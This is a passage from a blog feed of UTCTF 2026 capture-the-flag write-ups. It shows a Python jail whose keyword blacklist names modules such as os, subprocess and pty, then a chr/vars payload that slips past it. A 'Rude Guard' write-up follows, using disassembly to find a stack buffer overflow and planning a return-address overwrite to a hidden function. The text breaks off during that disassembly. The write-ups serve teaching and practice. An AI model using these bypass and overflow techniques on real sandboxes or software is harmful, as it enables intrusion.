    <span class="s">"dir"</span><span class="p">:</span> <span class="nb">dir</span><span class="p">,</span>
    <span class="s">"vars"</span><span class="p">:</span> <span class="nb">vars</span><span class="p">,</span>
    <span class="s">"getattr"</span><span class="p">:</span> <span class="nb">getattr</span><span class="p">,</span>
    <span class="s">"setattr"</span><span class="p">:</span> <span class="nb">setattr</span><span class="p">,</span>
    <span class="s">"hasattr"</span><span class="p">:</span> <span class="nb">hasattr</span><span class="p">,</span>
    <span class="s">"isinstance"</span><span class="p">:</span> <span class="nb">isinstance</span><span class="p">,</span>
    <span class="s">"enumerate"</span><span class="p">:</span> <span class="nb">enumerate</span><span class="p">,</span>
    <span class="s">"zip"</span><span class="p">:</span> <span class="nb">zip</span><span class="p">,</span>
    <span class="s">"map"</span><span class="p">:</span> <span class="nb">map</span><span class="p">,</span>
    <span class="s">"filter"</span><span class="p">:</span> <span class="nb">filter</span><span class="p">,</span>
    <span class="s">"list"</span><span class="p">:</span> <span class="nb">list</span><span class="p">,</span>
    <span class="s">"dict"</span><span class="p">:</span> <span class="nb">dict</span><span class="p">,</span>
    <span class="s">"tuple"</span><span class="p">:</span> <span class="nb">tuple</span><span class="p">,</span>
    <span class="s">"set"</span><span class="p">:</span> <span class="nb">set</span><span class="p">,</span>
    <span class="s">"bool"</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="s">"bytes"</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span>
    <span class="s">"hex"</span><span class="p">:</span> <span class="nb">hex</span><span class="p">,</span>
    <span class="s">"oct"</span><span class="p">:</span> <span class="nb">oct</span><span class="p">,</span>
    <span class="s">"bin"</span><span class="p">:</span> <span class="nb">bin</span><span class="p">,</span>
    <span class="s">"abs"</span><span class="p">:</span> <span class="nb">abs</span><span class="p">,</span>
    <span class="s">"min"</span><span class="p">:</span> <span class="nb">min</span><span class="p">,</span>
    <span class="s">"max"</span><span class="p">:</span> <span class="nb">max</span><span class="p">,</span>
    <span class="s">"sum"</span><span class="p">:</span> <span class="nb">sum</span><span class="p">,</span>
    <span class="s">"sorted"</span><span class="p">:</span> <span class="nb">sorted</span><span class="p">,</span>
    <span class="s">"reversed"</span><span class="p">:</span> <span class="nb">reversed</span><span class="p">,</span>
    <span class="s">"repr"</span><span class="p">:</span> <span class="nb">repr</span><span class="p">,</span>
    <span class="s">"hash"</span><span class="p">:</span> <span class="nb">hash</span><span class="p">,</span>
    <span class="s">"id"</span><span class="p">:</span> <span class="nb">id</span><span class="p">,</span>
    <span class="s">"callable"</span><span class="p">:</span> <span class="nb">callable</span><span class="p">,</span>
    <span class="s">"iter"</span><span class="p">:</span> <span class="nb">iter</span><span class="p">,</span>
    <span class="s">"next"</span><span class="p">:</span> <span class="nb">next</span><span class="p">,</span>
    <span class="s">"object"</span><span class="p">:</span> <span class="nb">object</span><span class="p">,</span>
<span class="p">}</span>

<span class="c1"># _secret is in globals but not documented - players must find it
</span><span class="n">GLOBALS</span> <span class="o">=</span> <span class="p">{</span><span class="s">"__builtins__"</span><span class="p">:</span> <span class="n">SAFE_BUILTINS</span><span class="p">,</span> <span class="s">"_secret"</span><span class="p">:</span> <span class="n">_secret</span><span class="p">}</span>

<span class="k">print</span><span class="p">(</span><span class="s">"="</span> <span class="o">*</span> <span class="mi">50</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"  Welcome to PyJail v1.0"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"  Escape to get the flag!"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"="</span> <span class="o">*</span> <span class="mi">50</span><span class="p">)</span>
<span class="k">print</span><span class="p">()</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">code</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"&gt;&gt;&gt; "</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">EOFError</span><span class="p">:</span>
        <span class="k">break</span>

    <span class="n">blocked</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="k">for</span> <span class="n">word</span> <span class="ow">in</span> <span class="n">BANNED</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">word</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="n">code</span><span class="p">.</span><span class="n">lower</span><span class="p">():</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"  [BLOCKED] Nice try!"</span><span class="p">)</span>
            <span class="n">blocked</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="k">break</span>

    <span class="k">if</span> <span class="n">blocked</span><span class="p">:</span>
        <span class="k">continue</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="k">exec</span><span class="p">(</span><span class="nb">compile</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="s">"&lt;jail&gt;"</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">),</span> <span class="n">GLOBALS</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"  [ERROR] </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Based on the Python script, we identified some suspicious points:</p>

<p>– First, there is a secret function in this source code:
    <code class="language-plaintext highlighter-rouge">python
    def _secret():
        return ''.join(chr(b ^ _KEY) for b in _ENC)
   </code></p>

<p>– Next, there is a blacklist containing some banned strings:
    <code class="language-plaintext highlighter-rouge">python
    BANNED = [
        "import", "os", "sys", "system", "eval",
        "open", "read", "write", "subprocess", "pty",
        "popen", "secret", "_enc", "_key"
    ]
   </code></p>

<p>– Finally, <code class="language-plaintext highlighter-rouge">GLOBALS</code> is passed into <code class="language-plaintext highlighter-rouge">exec</code>, but it still contains <code class="language-plaintext highlighter-rouge">_secret</code>:
    <code class="language-plaintext highlighter-rouge">python
    GLOBALS = {"__builtins__": SAFE_BUILTINS, "_secret": _secret}
   </code></p>

<p>– So we can observe that this program only blocks static strings; runtime-generated strings remain usable.</p>

<p>Overall, this source code contains some important points:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">_ENC</code> is the encoded bytes array.</li>
  <li><code class="language-plaintext highlighter-rouge">_KEY = 0x42</code> is the XOR key.</li>
  <li><code class="language-plaintext highlighter-rouge">_secret()</code> decodes <code class="language-plaintext highlighter-rouge">_ENC</code> with <code class="language-plaintext highlighter-rouge">_KEY</code>.</li>
  <li>The blacklist contains <code class="language-plaintext highlighter-rouge">secret</code>, but does not ban <code class="language-plaintext highlighter-rouge">vars</code>, <code class="language-plaintext highlighter-rouge">chr</code>, <code class="language-plaintext highlighter-rouge">map</code>, or <code class="language-plaintext highlighter-rouge">getattr</code>.</li>
</ul>

<p>There is no embedded binary data, so <code class="language-plaintext highlighter-rouge">binwalk</code>/<code class="language-plaintext highlighter-rouge">exiftool</code> are not needed.</p>

<h2 id="decoding">Decoding</h2>
<p>Based on the secret function, we can decode directly by XOR with the <code class="language-plaintext highlighter-rouge">KEY = 0x42</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="mh">0x42</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">_ENC</span><span class="p">)</span>
</code></pre></div></div>

<p>We created a payload, ran <code class="language-plaintext highlighter-rouge">jail.py</code> with it, and obtained the flag:</p>

<ul>
  <li>Payload:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">name</span><span class="o">=</span><span class="s">"_"</span><span class="o">+</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,[</span><span class="mi">115</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">116</span><span class="p">]))</span>
  <span class="n">fn</span><span class="o">=</span><span class="nb">vars</span><span class="p">()[</span><span class="n">name</span><span class="p">]</span>
  <span class="k">print</span><span class="p">(</span><span class="n">fn</span><span class="p">())</span>
</code></pre></div>    </div>
  </li>
  <li>Run result:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>python3 jail.py
  <span class="o">==================================================</span>
  Welcome to PyJail v1.0
  Escape to get the flag!
  <span class="o">==================================================</span>

  <span class="o">&gt;&gt;&gt;</span> <span class="nv">name</span><span class="o">=</span><span class="s2">"_"</span>+<span class="s2">""</span>.join<span class="o">(</span>map<span class="o">(</span>chr,[115,101,99,114,101,116]<span class="o">))</span>
  <span class="nv">fn</span><span class="o">=</span>vars<span class="o">()[</span>name]
  print<span class="o">(</span>fn<span class="o">())&gt;&gt;&gt;</span> <span class="o">&gt;&gt;&gt;</span> 
  utflag<span class="o">{</span>py_ja1l_3sc4p3_m4st3r<span class="o">}</span>
</code></pre></div>    </div>
  </li>
</ul>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Rude Guard - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/rude_guard/" rel="alternate" type="text/html" title="Rude Guard - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/rude_guard</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/rude_guard/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>There’s a guard that’s protecting the flag! How do I sneak past him?</p>

<h2 id="challenge-overview">Challenge Overview</h2>
<p>The challenge provides a binary. As with other pwn challenges, the first step is to inspect the binary’s metadata:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file pwnable
pwnable: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]<span class="o">=</span>ad855ad92ecf4b31fafab1c64895b7bc268895a5, <span class="k">for </span>GNU/Linux 3.2.0, not stripped

<span class="nv">$ </span>checksec <span class="nt">--file</span><span class="o">=</span>pwnable
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kali/Desktop/wargame/guard/pwnable'</span>
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE <span class="o">(</span>0x400000<span class="o">)</span>
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
</code></pre></div></div>

<p>Trying to decompile the binary with IDA, we can find some special symbols and some suspicious interactive strings containing in it:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">main()</code>:
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
      <span class="p">{</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"Are you not going to say hello?"</span><span class="p">);</span>
          <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">else</span>
      <span class="p">{</span>
          <span class="k">if</span> <span class="p">(</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">==</span> <span class="mi">1701604463</span> <span class="p">)</span>
          <span class="p">{</span>
              <span class="n">puts</span><span class="p">(</span><span class="s">"Hi. What do you want."</span><span class="p">);</span>
              <span class="n">read_input</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
          <span class="p">}</span>
          <span class="k">else</span>
          <span class="p">{</span>
              <span class="n">puts</span><span class="p">(</span><span class="s">"Hi. Go away."</span><span class="p">);</span>
          <span class="p">}</span>
          <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
      <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">read_input()</code>:
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">read_input</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-20h] BYREF</span>

      <span class="n">read</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">"givemeflag</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> <span class="p">)</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"How rude! utflag{you're going to need a sneakier way in...}"</span><span class="p">);</span>
      <span class="k">else</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"I won't let you pass. No matter what."</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">secret_function()</code>:
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">__int64</span> <span class="nf">secret_function</span><span class="p">()</span> <span class="p">{</span>
      <span class="n">_QWORD</span> <span class="n">v1</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-40h]</span>
      <span class="n">_QWORD</span> <span class="n">v2</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="c1">// [rsp+18h] [rbp-28h]</span>
      <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+34h] [rbp-Ch]</span>
      <span class="kt">char</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+3Bh] [rbp-5h]</span>
      <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+3Ch] [rbp-4h]</span>

      <span class="n">v4</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
      <span class="n">v1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x554955535E544647LL</span><span class="p">;</span>
      <span class="n">v1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x4106456D56400647LL</span><span class="p">;</span>
      <span class="n">v1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x6D4057590601456DLL</span><span class="p">;</span>
      <span class="n">v2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x466D5B6D5C065A46LL</span><span class="p">;</span>
      <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">7</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x4F465A5547025A46LL</span><span class="p">;</span>
      <span class="n">v3</span> <span class="o">=</span> <span class="mi">39</span><span class="p">;</span>
      <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">v3</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
          <span class="n">putchar</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v4</span> <span class="o">^</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v1</span> <span class="o">+</span> <span class="n">i</span><span class="p">));</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<p>Examining these symbols leads to a few conclusions:</p>
<ul>
  <li>An input-handling vulnerability appears in <code class="language-plaintext highlighter-rouge">read_input()</code>: the function allocates a 32-byte stack buffer but calls <code class="language-plaintext highlighter-rouge">read</code> with 0x64 (100) bytes. Because 100 &gt; 32, input can overflow <code class="language-plaintext highlighter-rouge">buf</code> and overwrite adjacent stack memory.</li>
  <li><code class="language-plaintext highlighter-rouge">secret_function()</code> is not called by <code class="language-plaintext highlighter-rouge">main()</code>, so it appears to be a hidden path that an exploit could jump to.</li>
  <li>The attacker must pass an argument gate in <code class="language-plaintext highlighter-rouge">main()</code> before <code class="language-plaintext highlighter-rouge">read_input()</code> is invoked.</li>
</ul>

<p>Since the overflow exists in <code class="language-plaintext highlighter-rouge">read_input()</code>, we hypothesize we can overwrite the saved RIP to redirect execution to <code class="language-plaintext highlighter-rouge">secret_function()</code>. The <code class="language-plaintext highlighter-rouge">secret_function()</code> decodes a byte array in a loop and prints each byte via <code class="language-plaintext highlighter-rouge">putchar</code>, so redirecting control there should reveal the flag.</p>

<p>Before proceeding, here’s a concise summary of the binary’s control flow:</p>
<ol>
  <li>Check <code class="language-plaintext highlighter-rouge">argc</code>.</li>
  <li>If no extra argument: print “Are you not going to say hello?” and exit.</li>
  <li>Else parse <code class="language-plaintext highlighter-rouge">argv[1]</code> via <code class="language-plaintext highlighter-rouge">atoi</code>.</li>
  <li>Subtract constant <code class="language-plaintext highlighter-rouge">0x656c6c6f</code> (decimal 1701604463), which corresponds to the ASCII little-endian form of <code class="language-plaintext highlighter-rouge">"hello"</code>.</li>
  <li>If result != 0: print “Hi. Go away.” and exit.</li>
  <li>If result == 0: print “Hi. What do you want.” and call <code class="language-plaintext highlighter-rouge">read_input</code> with that zero value as first argument.</li>
  <li><code class="language-plaintext highlighter-rouge">read_input</code> reads attacker input and compares to <code class="language-plaintext highlighter-rouge">"givemeflag\n"</code>.</li>
  <li>If equal: prints fake flag string.</li>
  <li>Else: prints rejection message.</li>
  <li>Return path is vulnerable due to stack overflow.</li>
</ol>

<h2 id="binary-analysis">Binary Analysis</h2>
<p>First, find the addresses of the binary’s symbols: <code class="language-plaintext highlighter-rouge">secret_function()</code> is at <code class="language-plaintext highlighter-rouge">0x40124f</code>. Because the binary is non-PIE, these addresses are fixed.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nm <span class="nt">-n</span> pwnable | egrep <span class="s1">' main$| read_input$| secret_function$| _start$'</span>
0000000000401080 T _start
0000000000401166 T main
00000000004011ed T read_input
000000000040124f T secret_function
</code></pre></div></div>

<p>Next, try disassembly all symbols of this binary:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">main()</code>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel pwnable | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/&lt;main&gt;:/,/^$/p'</span>
  0000000000401166 &lt;main&gt;:
      401166:       55                      push   rbp
      401167:       48 89 e5                mov    rbp,rsp
      40116a:       48 83 ec 20             sub    rsp,0x20
      40116e:       89 7d ec                mov    DWORD PTR <span class="o">[</span>rbp-0x14],edi
      401171:       48 89 75 e0             mov    QWORD PTR <span class="o">[</span>rbp-0x20],rsi
      401175:       83 7d ec 01             cmp    DWORD PTR <span class="o">[</span>rbp-0x14],0x1
      401179:       75 16                   jne    401191 &lt;main+0x2b&gt;
      40117b:       48 8d 05 86 0e 00 00    lea    rax,[rip+0xe86]        <span class="c"># 402008 &lt;_IO_stdin_used+0x8&gt;</span>
      401182:       48 89 c7                mov    rdi,rax
      401185:       e8 b6 fe ff ff          call   401040 &lt;puts@plt&gt;
      40118a:       b8 00 00 00 00          mov    eax,0x0
      40118f:       eb 5a                   jmp    4011eb &lt;main+0x85&gt;
      401191:       48 8b 45 e0             mov    rax,QWORD PTR <span class="o">[</span>rbp-0x20]
      401195:       48 83 c0 08             add    rax,0x8
      401199:       48 8b 00                mov    rax,QWORD PTR <span class="o">[</span>rax]
      40119c:       48 89 c7                mov    rdi,rax
      40119f:       e8 cc fe ff ff          call   401070 &lt;atoi@plt&gt;
      4011a4:       2d 6f 6c 6c 65          sub    eax,0x656c6c6f
      4011a9:       89 45 <span class="nb">fc                </span>mov    DWORD PTR <span class="o">[</span>rbp-0x4],eax
      4011ac:       83 7d <span class="nb">fc </span>00             cmp    DWORD PTR <span class="o">[</span>rbp-0x4],0x0
      4011b0:       74 16                   je     4011c8 &lt;main+0x62&gt;
      4011b2:       48 8d 05 6f 0e 00 00    lea    rax,[rip+0xe6f]        <span class="c"># 402028 &lt;_IO_stdin_used+0x28&gt;</span>
      4011b9:       48 89 c7                mov    rdi,rax
      4011bc:       e8 7f fe ff ff          call   401040 &lt;puts@plt&gt;
      4011c1:       b8 00 00 00 00          mov    eax,0x0
      4011c6:       eb 23                   jmp    4011eb &lt;main+0x85&gt;
      4011c8:       48 8d 05 66 0e 00 00    lea    rax,[rip+0xe66]        <span class="c"># 402035 &lt;_IO_stdin_used+0x35&gt;</span>
      4011cf:       48 89 c7                mov    rdi,rax
      4011d2:       e8 69 fe ff ff          call   401040 &lt;puts@plt&gt;
      4011d7:       8b 45 <span class="nb">fc                </span>mov    eax,DWORD PTR <span class="o">[</span>rbp-0x4]
      4011da:       89 c7                   mov    edi,eax
      4011dc:       b8 00 00 00 00          mov    eax,0x0
      4011e1:       e8 07 00 00 00          call   4011ed &lt;read_input&gt;
      4011e6:       b8 00 00 00 00          mov    eax,0x0
      4011eb:       c9                      leave
      4011ec:       c3                      ret
</code></pre></div>    </div>

    <p>Notable points:</p>
    <pre><code class="language-asm">      401175: cmp DWORD PTR [rbp-0x14],0x1
      401179: jne 401191
      ...
      40119f: call atoi@plt
      4011a4: sub eax,0x656c6c6f
      4011ac: cmp DWORD PTR [rbp-0x4],0x0
      4011b0: je  4011c8
      ...
      4011e1: call 4011ed &lt;read_input&gt;
</code></pre>

    <p>Interpretation:</p>
    <ul>
      <li>The gate is arithmetic: <code class="language-plaintext highlighter-rouge">atoi(argv[1]) == 0x656c6c6f</code>.</li>
      <li>The decimal equivalent is <code class="language-plaintext highlighter-rouge">1701604463</code>.</li>
      <li>Passing this gate reaches the vulnerable <code class="language-plaintext highlighter-rouge">read_input()</code>.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">read_input()</code>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel pwnable | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/&lt;read_input&gt;:/,/^$/p'</span>
  00000000004011ed &lt;read_input&gt;:
      4011ed:       55                      push   rbp
      4011ee:       48 89 e5                mov    rbp,rsp
      4011f1:       48 83 ec 30             sub    rsp,0x30
      4011f5:       89 7d dc                mov    DWORD PTR <span class="o">[</span>rbp-0x24],edi
      4011f8:       48 8d 4d e0             lea    rcx,[rbp-0x20]
      4011fc:       8b 45 dc                mov    eax,DWORD PTR <span class="o">[</span>rbp-0x24]
      4011ff:       ba 64 00 00 00          mov    edx,0x64
      401204:       48 89 ce                mov    rsi,rcx
      401207:       89 c7                   mov    edi,eax
      401209:       e8 42 fe ff ff          call   401050 &lt;<span class="nb">read</span>@plt&gt;
      40120e:       48 8d 45 e0             lea    rax,[rbp-0x20]
      401212:       48 8d 15 32 0e 00 00    lea    rdx,[rip+0xe32]        <span class="c"># 40204b &lt;_IO_stdin_used+0x4b&gt;</span>
      401219:       48 89 d6                mov    rsi,rdx
      40121c:       48 89 c7                mov    rdi,rax
      40121f:       e8 3c fe ff ff          call   401060 &lt;strcmp@plt&gt;
      401224:       85 c0                   <span class="nb">test   </span>eax,eax
      401226:       75 11                   jne    401239 &lt;read_input+0x4c&gt;
      401228:       48 8d 05 29 0e 00 00    lea    rax,[rip+0xe29]        <span class="c"># 402058 &lt;_IO_stdin_used+0x58&gt;</span>
      40122f:       48 89 c7                mov    rdi,rax
      401232:       e8 09 fe ff ff          call   401040 &lt;puts@plt&gt;
      401237:       eb 0f                   jmp    401248 &lt;read_input+0x5b&gt;
      401239:       48 8d 05 58 0e 00 00    lea    rax,[rip+0xe58]        <span class="c"># 402098 &lt;_IO_stdin_used+0x98&gt;</span>
      401240:       48 89 c7                mov    rdi,rax
      401243:       e8 f8 fd ff ff          call   401040 &lt;puts@plt&gt;
      401248:       b8 00 00 00 00          mov    eax,0x0
      40124d:       c9                      leave
      40124e:       c3                      ret
</code></pre></div>    </div>

    <p>Notable points:</p>
    <pre><code class="language-asm">      4011f1: sub rsp,0x30
      4011f5: mov DWORD PTR [rbp-0x24],edi
      4011f8: lea rcx,[rbp-0x20]      ; buf starts at rbp-0x20 (32 bytes)
      ...
      4011ff: mov edx,0x64            ; nbytes = 100
      401209: call read@plt           ; read(fd, buf, 0x64)
      ...
      40121f: call strcmp@plt         ; strcmp(buf, "givemeflag\n")
      ...
      40124d: leave
      40124e: ret
</code></pre>

    <p>Based on the above:</p>
    <ul>
      <li>The stack buffer at <code class="language-plaintext highlighter-rouge">[rbp-0x20]</code> is <strong>32 bytes</strong>.</li>
      <li><code class="language-plaintext highlighter-rouge">read</code> is called with size <strong>100 bytes</strong>.</li>
      <li>The read can overflow the buffer and overwrite saved RBP and the saved RIP.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">secret_function()</code>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel pwnable | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/&lt;secret_function&gt;:/,/^$/p'</span>
  000000000040124f &lt;secret_function&gt;:
      40124f:       55                      push   rbp
      401250:       48 89 e5                mov    rbp,rsp
      401253:       48 83 ec 40             sub    rsp,0x40
      401257:       c6 45 fb 32             mov    BYTE PTR <span class="o">[</span>rbp-0x5],0x32
      40125b:       48 b8 47 46 54 5e 53    movabs rax,0x554955535e544647
      401262:       55 49 55 
      401265:       48 ba 47 06 40 56 6d    movabs rdx,0x4106456d56400647
      40126c:       45 06 41 
      40126f:       48 89 45 c0             mov    QWORD PTR <span class="o">[</span>rbp-0x40],rax
      401273:       48 89 55 c8             mov    QWORD PTR <span class="o">[</span>rbp-0x38],rdx
      401277:       48 b8 6d 45 01 06 59    movabs rax,0x6d4057590601456d
      40127e:       57 40 6d 
      401281:       48 ba 46 5a 06 5c 6d    movabs rdx,0x466d5b6d5c065a46
      401288:       5b 6d 46 
      40128b:       48 89 45 d0             mov    QWORD PTR <span class="o">[</span>rbp-0x30],rax
      40128f:       48 89 55 d8             mov    QWORD PTR <span class="o">[</span>rbp-0x28],rdx
      401293:       48 b8 46 5a 02 47 55    movabs rax,0x4f465a5547025a46
      40129a:       5a 46 4f 
      40129d:       48 89 45 <span class="nb">df             </span>mov    QWORD PTR <span class="o">[</span>rbp-0x21],rax
      4012a1:       c7 45 f4 27 00 00 00    mov    DWORD PTR <span class="o">[</span>rbp-0xc],0x27
      4012a8:       c7 45 <span class="nb">fc </span>00 00 00 00    mov    DWORD PTR <span class="o">[</span>rbp-0x4],0x0
      4012af:       eb 1b                   jmp    4012cc &lt;secret_function+0x7d&gt;
      4012b1:       8b 45 <span class="nb">fc                </span>mov    eax,DWORD PTR <span class="o">[</span>rbp-0x4]
      4012b4:       48 98                   cdqe
      4012b6:       0f b6 44 05 c0          movzx  eax,BYTE PTR <span class="o">[</span>rbp+rax<span class="k">*</span>1-0x40]
      4012bb:       32 45 fb                xor    al,BYTE PTR <span class="o">[</span>rbp-0x5]
      4012be:       0f b6 c0                movzx  eax,al
      4012c1:       89 c7                   mov    edi,eax
      4012c3:       e8 68 fd ff ff          call   401030 &lt;putchar@plt&gt;
      4012c8:       83 45 <span class="nb">fc </span>01             add    DWORD PTR <span class="o">[</span>rbp-0x4],0x1
      4012cc:       8b 45 <span class="nb">fc                </span>mov    eax,DWORD PTR <span class="o">[</span>rbp-0x4]
      4012cf:       3b 45 f4                cmp    eax,DWORD PTR <span class="o">[</span>rbp-0xc]
      4012d2:       7c <span class="nb">dd                   </span>jl     4012b1 &lt;secret_function+0x62&gt;
      4012d4:       b8 00 00 00 00          mov    eax,0x0
      4012d9:       c9                      leave
      4012da:       c3                      ret
</code></pre></div>    </div>

    <p>Notable points:</p>
    <pre><code class="language-asm">      401257: mov BYTE PTR [rbp-0x5],0x32   ; XOR key
      ...
      4012b6: movzx eax,BYTE PTR [rbp+rax*1-0x40]
      4012bb: xor   al,BYTE PTR [rbp-0x5]
      4012c3: call  putchar@plt
      4012cf: cmp   eax,DWORD PTR [rbp-0xc] ; loop over 0x27 bytes
</code></pre>

